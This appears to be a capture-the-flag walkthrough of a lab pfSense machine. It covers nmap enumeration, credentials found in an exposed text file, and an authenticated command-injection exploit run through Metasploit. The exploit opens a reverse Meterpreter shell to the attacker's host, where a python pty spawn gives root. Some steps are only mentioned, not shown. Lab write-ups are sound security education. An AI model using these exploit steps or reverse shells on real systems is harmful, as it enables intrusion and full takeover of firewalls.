┌──(kali💀kali)-[~]
└─$ sudo nmap -sC -sV -O 10.10.10.60
80/tcp open http lighttpd 1.4.35
|_http-title: Did not follow redirect to https://10.10.10.60/
|_http-server-header: lighttpd/1.4.35
443/tcp open ssl/http lighttpd 1.4.35
|_http-title: Login
| ssl-cert: Subject: commonName=Common Name (eg, YOUR name)/organizationName=CompanyName/stateOrProvinceName=Somewhere/countryName=US
| Not valid before: 2017-10-14T19:21:35
|_Not valid after: 2023-04-06T19:21:35
|_ssl-date: TLS randomness does not represent time
|_http-server-header: lighttpd/1.4.35
┌──(kali💀kali)-[~]
└─$ sudo nmap -sU -O 10.10.10.60
All 1000 scanned ports on 10.10.10.60 (10.10.10.60) are in ignored states.
┌──(kali💀kali)-[~]
└─$ sudo nmap -sC -sV -p- 10.10.10.60
80/tcp open http lighttpd 1.4.35
|_http-title: Did not follow redirect to https://10.10.10.60/
|_http-server-header: lighttpd/1.4.35
443/tcp open ssl/http lighttpd 1.4.35
|_http-title: Login
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=Common Name (eg, YOUR name)/organizationName=CompanyName/stateOrProvinceName=Somewhere/countryName=US
| Not valid before: 2017-10-14T19:21:35
|_Not valid after: 2023-04-06T19:21:35
I hadn’t figure out my go-to syntax for nmap back then (first -p- --min-rate 10000, then -p [ports] -sCV).
The web server is lighttpd. The certificate on TLS isn’t filled in with any information. I can look at it in Firefox and confirm it is just defaults:
Port 80 redirects to port 443 so we really only have one port to enumerate.
https://10.10.10.60/
Enumeration: HTTPS - TCP 443
Let’s start enumerating port 443. Visit the application using the browser.
We get a pfSense login page. pfSense is a free and open-source firewall and router. Since it is an off the shelf software, the first thing I did is google “pfsense default credentials” and found the following page.
admin
pfsense
I tried admin/pfsense but that did not work. I also tried common credentials such as admin/admin, pfsense/pfsense, admin/password, etc.
When that didn’t work I had a not-so-bright-idea of brute forcing the credentials using Hydra.
I added the extensions txt & conf to look for any configuration files or text files left by system administrators. Two files that immediately catch my eye are changelog.txt & system-users.txt.
https://10.10.10.60/system-users.txt
Security Changelog
Issue
There was a failure in updating the firewall. Manual patching is therefore required
Mitigated
2 of 3 vulnerabilities have been patched
Timeline
The remaining patches will be installed during the next maintenance window
The change-log.txt file tells us that they’re definitely using a vulnerable version of pfSense. However, they did patch two of the three vulnerabilities that are associated with this software. We have to keep that in mind when exploiting the application. The system-users.txt file gives us credentials!
The username is rohit and the password is the default password pfsense. Let’s log into the application.
Next, run searchsploit to view if the software is associated with any vulnerabilities.
It seems that the status_rrd_graph_img.php script is vulnerable to a command injection. To exploit that, the script is passing a simple python reverse shell (with the configuration parameters we pass as arguments) as a command. It does octal encode the reverse shell command which leads me to believe that there is either some form of filtering being done at the backend or the application crashes on certain characters. To sum up, it’s a very simple script that sends a reverse shell back to our attack machine.
Therefore, let’s up a listener to receive the shell.
For this machine, we don’t have to escalate privileges since pfSense is running as root and therefore when we exploited the command injection vulnerability we got a shell with root privileges.
Shell with Metasploit
searchsploit shows some exploits for the HTTP server, lighttpd, but all for older versions:
On originally solving, I searched for PFSence exploits in Metasploit, and there were a couple:
┌──(kali💀kali)-[~]
└─$ msfconsole
msf6 > search pfsense
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/unix/http/pfsense_clickjacking 2017-11-21 normal No Clickjacking Vulnerability In CSRF Error Page pfSense
1 exploit/unix/http/pfsense_diag_routes_webshell 2022-02-23 excellent Yes pfSense Diag Routes Web Shell Upload
2 exploit/unix/http/pfsense_config_data_exec 2023-03-18 excellent Yes pfSense Restore RRD Data Command Injection
3 exploit/unix/http/pfsense_graph_injection_exec 2016-04-18 excellent No pfSense authenticated graph status RCE
4 exploit/unix/http/pfsense_group_member_exec 2017-11-06 excellent Yes pfSense authenticated group member RCE
5 exploit/unix/http/pfsense_pfblockerng_webshell 2022-09-05 great Yes pfSense plugin pfBlockerNG unauthenticated RCE as root
The first one is a clickjacking exploit, which doesn’t seem useful to me. The next one is interesting, as it’s an injection into the graph function, which is implemented in this host:
msf6 > use 3
msf6 exploit(unix/http/pfsense_graph_injection_exec) > options
msf6 exploit(unix/http/pfsense_graph_injection_exec) > set RHOSTS 10.10.10.60
msf6 exploit(unix/http/pfsense_graph_injection_exec) > set USERNAME rohit
msf6 exploit(unix/http/pfsense_graph_injection_exec) > set LHOST 10.10.16.4
msf6 exploit(unix/http/pfsense_graph_injection_exec) > run
[*] Started reverse TCP handler on 10.10.16.4:4444
[*] Detected pfSense 2.1.3-RELEASE, uploading intial payload
[*] Payload uploaded successfully, executing
[*] Sending stage (39927 bytes) to 10.10.10.60
[+] Deleted tRA
[*] Meterpreter session 1 opened (10.10.16.4:4444 -> 10.10.10.60:65345) at 2023-12-31 01:14:58 -0500
meterpreter > shell
Process 18684 created.
Channel 0 created.
python -c 'import pty;pty.spawn("/bin/sh")'
#
# whoami
root